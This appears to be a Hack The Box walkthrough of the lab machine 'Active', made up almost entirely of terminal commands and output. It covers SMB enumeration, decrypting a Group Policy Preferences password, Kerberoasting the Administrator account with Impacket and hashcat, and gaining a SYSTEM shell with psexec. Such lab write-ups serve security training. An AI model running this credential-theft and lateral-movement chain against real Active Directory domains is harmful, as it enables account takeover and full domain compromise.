```
└──╼ [★]$ ping 10.129.27.241

└──╼ [★]$ nmap -Pn -T4 -A -v 10.129.27.241
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2021-02-22 15:55:11Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site:
Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site:
Default-First-Site-Name)
3269/tcp  open  tcpwrapped
49152/tcp open  msrpc         Microsoft Windows RPC
49153/tcp open  msrpc         Microsoft Windows RPC
49154/tcp open  msrpc         Microsoft Windows RPC
49155/tcp open  msrpc         Microsoft Windows RPC
49157/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc         Microsoft Windows RPC
49165/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1,
cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   2.02:
|_    Message signing enabled and required
| smb2-time:
|   date: 2021-02-22T15:56:09
|_  start_date: 2021-02-22T15:27:41


└──╼ [★]$ sudo smbclient -L //10.129.27.241
Enter WORKGROUP\root's password:
Anonymous login successful

      Sharename       Type      Comment
      ---------       ----      -------
      ADMIN$          Disk      Remote Admin
      C$              Disk      Default share
      IPC$            IPC       Remote IPC
      NETLOGON        Disk      Logon server share
      Replication     Disk
      SYSVOL          Disk      Logon server share
      Users           Disk
SMB1 disabled -- no workgroup available

└──╼ [★]$ sudo smbclient //10.129.27.241/Replication
Enter WORKGROUP\root's password:
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> RECURSE ON
smb: \> PROMPT OFF
smb: \> mget *
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\GPT.INI of size 23 as
GPT.INI (0.3 KiloBytes/sec) (average 0.3 KiloBytes/sec)
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Group Policy\GPE.INI of
size 119 as GPE.INI (1.5 KiloBytes/sec) (average 0.9 KiloBytes/sec)
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows
NT\SecEdit\GptTmpl.inf of size 1098 as GptTmpl.inf (14.7 KiloBytes/sec) (average 5.5 KiloBytes/sec)
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\
Groups\Groups.xml of size 533 as Groups.xml (7.2 KiloBytes/sec) (average 5.9 KiloBytes/sec)
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Registry.pol of
size 2788 as Registry.pol (37.8 KiloBytes/sec) (average 12.2 KiloBytes/sec)
getting file \active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\GPT.INI of size 22 as
GPT.INI (0.3 KiloBytes/sec) (average 10.3 KiloBytes/sec)
getting file \active.htb\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows
NT\SecEdit\GptTmpl.inf of size 3722 as GptTmpl.inf (50.5 KiloBytes/sec) (average 16.0
```

```
KiloBytes/sec)

smb: \> cd \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\
smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\> get
Groups.xml
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\
Groups\Groups.xml of size 533 as Groups.xml (7.2 KiloBytes/sec) (average 7.3 KiloBytes/sec)
smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\>


Group Policy Preferences (GPP) allowed administrators to modify users and groups across their
network. Passwords was AES-256 encrypted and stored in Groups.xml :

Group.xml :
?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-
D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-
5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description=""
cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"
changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0"
userName="active.htb\SVC_TGS"/></User>
</Groups>


└──╼ [★]$ sudo apt install gpp-decrypt
└──╼ [★]$ gpp-decrypt
edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
/usr/bin/gpp-decrypt:21: warning: constant OpenSSL::Cipher::Cipher is deprecated
GPPstillStandingStrong2k18

The domain account SVC_TGS has the password  GPPstillStandingStrong2k18


└──╼ [★]$ cd /opt

└──╼ [★]$ sudo git clone https://github.com/SecureAuthCorp/impacket.git

└──╼ [★]$ cd impacket

└──╼ [★]$ sudo pip3 install -r requirements.txt

└──╼ [★]$ sudo python3 setup.py install

└──╼ [★]$ sudo apt install smbmap

└──╼ [★]$ smbmap -H 10.129.27.241 -d active.htb -u SVC_TGS -p GPPstillStandingStrong2k18
[+] IP: 10.129.27.241:445    Name: 10.129.27.241
        Disk                                                    Permissions Comment
        ----                                                    ----------- -------
        ADMIN$                                                  NO ACCESS   Remote Admin
        C$                                                      NO ACCESS   Default share
        IPC$                                                    NO ACCESS   Remote IPC
        NETLOGON                                                READ ONLY   Logon server share
        Replication                                             READ ONLY
        SYSVOL                                                  READ ONLY   Logon server share
        Users                                                   READ ONLY

└──╼ [★]$ smbclient //10.129.27.241/Users -U active.htb\SVC_TGS%GPPstillStandingStrong2k18
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   DR        0  Sat Jul 21 14:39:20 2018
  ..                                  DR        0  Sat Jul 21 14:39:20 2018
  Administrator                        D        0  Mon Jul 16 10:14:21 2018
  All Users                         DHS        0  Tue Jul 14 05:06:44 2009
  Default                           DHR        0  Tue Jul 14 06:38:21 2009
  Default User                      DHS        0  Tue Jul 14 05:06:44 2009
  desktop.ini                       AHS      174  Tue Jul 14 04:57:55 2009
  Public                             DR        0  Tue Jul 14 04:57:55 2009
  SVC_TGS                            D        0  Sat Jul 21 15:16:32 2018

                10459647 blocks of size 4096. 5204400 blocks available

smb: \> get \SVC_TGS\desktop\user.txt
getting file \SVC_TGS\desktop\user.txt of size 34 as \SVC_TGS\desktop\user.txt (0.5 KiloBytes/sec)
```

```
(average 0.5 KiloBytes/sec)
smb: \>

└──╼ [★]$ cat '\SVC_TGS\desktop\user.txt'
86d67d8ba232********************


In a Kerberoasting attack, rather than sending the encrypted ticket from the DC to the service, you
will use off-line brute force to crack the password associated with the service.

Get Hash

The GetUserSPNs.py script from Impacket wiil give a list of service usernames which are associated
with normal user accounts :

└──╼ [★]$ cd /opt/impacket/examples

└──╼ [★]$ sudo GetUserSPNs.py -request -dc-ip 10.129.27.241 active.htb/SVC_TGS -save -outputfile
GetUserSPNs.out
Impacket v0.9.23.dev1+20210212.143925.3f3002e1 - Copyright 2020 SecureAuth Corporation

Password:
ServicePrincipalName  Name           MemberOf
PasswordLastSet             LastLogon                   Delegation
--------------------  -------------  --------------------------------------------------------
--------------------------  --------------------------  ----------
active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb
2018-07-18 19:06:40.351723  2021-01-22 08:42:30.615553

└──╼ [★]$ cat GetUserSPNs.out
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/
Administrator*$af1f68d68b8849d4a2fb6b88815591e3$d1aee5ba89be74f36969c73cc4f37cd88d739bac944391025a4
fc297e83b120a1b86f572abf2a35a05ba48b072238909ef625d9166081f31e583d4d721b051f5968ae3d6f57a569495fdf5
2106d7e709ce679e0a032ba415a5a8d7dd692557394c1df63868885edde8761dcb0fbfafe1163a7a86e50b57fcccb5cfb48
e1e9494921bf979585be7d3d3ec56ba3652f563a34dcfa44d9bba2ae92696f802cfee3e6d54b9753fe0ad3978ade2cc6e1d
1cf98bd2ec2045b3d467de597d0243ca8e8b9427731771744292349f4a1c7eaf5378b59a88e6130189ee9741d35dfebf8e1
5c0b92aa5950c00ee6ccb661870ef03001b2b82a394963a9681732538e5c071afcdf82fc95f3ba85d64c12625fcf41c7973
a73b0277fda1f408650ddef3b4df5316ebccd24caf954dec37e1f48eb76feb354e91d896b429f33979af057d999e3694270
bda24afaf2e68fa8cce95f768919d3ff70c1bdef6720f2ae37949583de501e698fccfb7db2a942a500282efe631273a7772
5e3063360347f64643245eb3ada1ba3357c809c607d6e420dccc1ed50329838eef295788dbbc2ee39f3bc814d3ceb07516d
5f3c8702d8cfe118d9856666b178568e22a94f4386ab7efa62849d6ed8ed4c9cc0ff66695c832640eec9298b4db9eb98356
ced4bb2273cb49b678729d36178f08ad26c67ac6de1495b6d635f798d6e61eecfb5e478be2dc79c83163b4aced2aad53e7e
927640fa92b68bfba8f3f470cfedc2a78aa3f3d31f3d772883b1767d3a4918265bddb00d418691bba0bb1f644a4116bee88
0d2c2908973a45de4bb6df269b0d3eb809bab84dc839531aadb76657f0ba48e43f31231b4af83e9b96020a9ec8765e128dd
e60f7f07b75945dcf051bc8242544b252c4c0b2e305b889d8d508949b9fad44abad288649866667147ee2009060c02c040b
cbd2a357364b035652580d52723379f92a589c1df50d9aaa1cffc8cd2cae9e47efa83ac05d265499d0b053a5f466ea55c61
4c7c9ca6229bbeab51de5cdd8d0a0a128ae245d17002e43df3c011ade863d613cca362f6d1f2d2df6e2a884ab849eec4049
0cce6fb8f627f24ff7c4d960eebabaf0bb02e303f241b4cf236e6641864d513a302039febcaeecbe6e0b84b4feae28bd002
784144f2f63c236c63493c725aef184a405f5fd9a94c88d637897cc34a2c279885e29ee2db763b9f5a3db76a8879b972a36
ec0b92cfd86c96ae042e5081f0a8b4a0594b38923f2dc7

Decrypt with Hashcat :

└──╼ [★]$ hashcat -m 13100 -a 0 GetUserSPNs.out /home/htb-protosec/Downloads/rockyou.txt --force
hashcat (v6.1.1) starting...

You have enabled --force to bypass dangerous warnings and errors!
This can hide serious problems and should only be done when debugging.
Do not report hashcat issues encountered when using --force.
OpenCL API (OpenCL 1.2 pocl 1.5, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) -
Platform #1 [The pocl project]
================================================================================================
========================
* Device #1: pthread-Intel(R) Xeon(R) Gold 6140 CPU @ 2.30GHz, 5854/5918 MB (2048 MB allocatable),
4MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Applicable optimizers applied:
```

```
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt

ATTENTION! Pure (unoptimized) backend kernels selected.
Using pure kernels enables cracking longer passwords but for the price of drastically reduced
performance.
If you want to switch to optimized backend kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 134 MB

Dictionary cache building /home/htb-protosec/Downloads/rockyou.txt: 33553435 bytDictionary cache
building /home/htb-protosec/Downloads/rockyou.txt: 67106875 bytDictionary cache built:
* Filename..: /home/htb-protosec/Downloads/rockyou.txt
* Passwords.: 14344391
* Bytes.....: 139921497
* Keyspace..: 14344384
* Runtime...: 1 sec

$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/
Administrator*$af1f68d68b8849d4a2fb6b88815591e3$d1aee5ba89be74f36969c73cc4f37cd88d739bac944391025a4
fc297e83b120a1b86f572abf2a35a05ba48b072238909ef625d9166081f31e583d4d721b051f5968ae3d6f57a569495fdf5
2106d7e709ce679e0a032ba415a5a8d7dd692557394c1df63868885edde8761dcb0fbfafe1163a7a86e50b57fcccb5cfb48
e1e9494921bf979585be7d3d3ec56ba3652f563a34dcfa44d9bba2ae92696f802cfee3e6d54b9753fe0ad3978ade2cc6e1d
1cf98bd2ec2045b3d467de597d0243ca8e8b9427731771744292349f4a1c7eaf5378b59a88e6130189ee9741d35dfebf8e1
5c0b92aa5950c00ee6ccb661870ef03001b2b82a394963a9681732538e5c071afcdf82fc95f3ba85d64c12625fcf41c7973
a73b0277fda1f408650ddef3b4df5316ebccd24caf954dec37e1f48eb76feb354e91d896b429f33979af057d999e3694270
bda24afaf2e68fa8cce95f768919d3ff70c1bdef6720f2ae37949583de501e698fccfb7db2a942a500282efe631273a7772
5e3063360347f64643245eb3ada1ba3357c809c607d6e420dccc1ed50329838eef295788dbbc2ee39f3bc814d3ceb07516d
5f3c8702d8cfe118d9856666b178568e22a94f4386ab7efa62849d6ed8ed4c9cc0ff66695c832640eec9298b4db9eb98356
ced4bb2273cb49b678729d36178f08ad26c67ac6de1495b6d635f798d6e61eecfb5e478be2dc79c83163b4aced2aad53e7e
927640fa92b68bfba8f3f470cfedc2a78aa3f3d31f3d772883b1767d3a4918265bddb00d418691bba0bb1f644a4116bee88
0d2c2908973a45de4bb6df269b0d3eb809bab84dc839531aadb76657f0ba48e43f31231b4af83e9b96020a9ec8765e128dd
e60f7f07b75945dcf051bc8242544b252c4c0b2e305b889d8d508949b9fad44abad288649866667147ee2009060c02c040b
cbd2a357364b035652580d52723379f92a589c1df50d9aaa1cffc8cd2cae9e47efa83ac05d265499d0b053a5f466ea55c61
4c7c9ca6229bbeab51de5cdd8d0a0a128ae245d17002e43df3c011ade863d613cca362f6d1f2d2df6e2a884ab849eec4049
0cce6fb8f627f24ff7c4d960eebabaf0bb02e303f241b4cf236e6641864d513a302039febcaeecbe6e0b84b4feae28bd002
784144f2f63c236c63493c725aef184a405f5fd9a94c88d637897cc34a2c279885e29ee2db763b9f5a3db76a8879b972a36
ec0b92cfd86c96ae042e5081f0a8b4a0594b38923f2dc7:
Ticketmaster1968

Session..........: hashcat
Status...........: Cracked
Hash.Name........: Kerberos 5, etype 23, TGS-REP
Hash.Target......: $krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Ad...3f2dc7
Time.Started.....: Tue Feb 23 16:54:47 2021, (29 secs)
Time.Estimated...: Tue Feb 23 16:55:16 2021, (0 secs)
Guess.Base.......: File (/home/htb-protosec/Downloads/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   371.5 kH/s (7.33ms) @ Accel:32 Loops:1 Thr:64 Vec:16
Recovered........: 1/1 (100.00%) Digests
Progress.........: 10543104/14344384 (73.50%)
Rejected.........: 0/10543104 (0.00%)
Restore.Point....: 10534912/14344384 (73.44%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: Tiona172 -> Teague

Started: Tue Feb 23 16:54:10 2021
Stopped: Tue Feb 23 16:55:16 2021


└──╼ [★]$ sudo smbclient //10.129.27.241/C$ -U active.htb\\administrator%Ticketmaster1968
Try "help" to get a list of possible commands.
smb: \> get \users\administrator\desktop\root.txt
getting file \users\administrator\desktop\root.txt of size 34 as \users\administrator\desktop\
root.txt (0.5 KiloBytes/sec) (average 0.5 KiloBytes/sec)
smb: \> ^C

└──╼ [★]$ cat '\users\administrator\desktop\root.txt'
```

```
b5fc76d1d6b9********************

System Shell :

┌─[eu-dedivip-2]─[10.10.14.52]─[htb-protosec@htb-1wrpj5pqst]─[/opt/impacket/examples]
└──╼ [★]$ psexec.py active.htb/administrator@10.129.27.241
Impacket v0.9.23.dev1+20210212.143925.3f3002e1 - Copyright 2020 SecureAuth Corporation

Password:
[*] Requesting shares on 10.129.27.241.....
[*] Found writable share ADMIN$
[*] Uploading file aNwCYJuv.exe
[*] Opening SVCManager on 10.129.27.241.....
[*] Creating service wZnt on 10.129.27.241.....
[*] Starting service wZnt.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>
```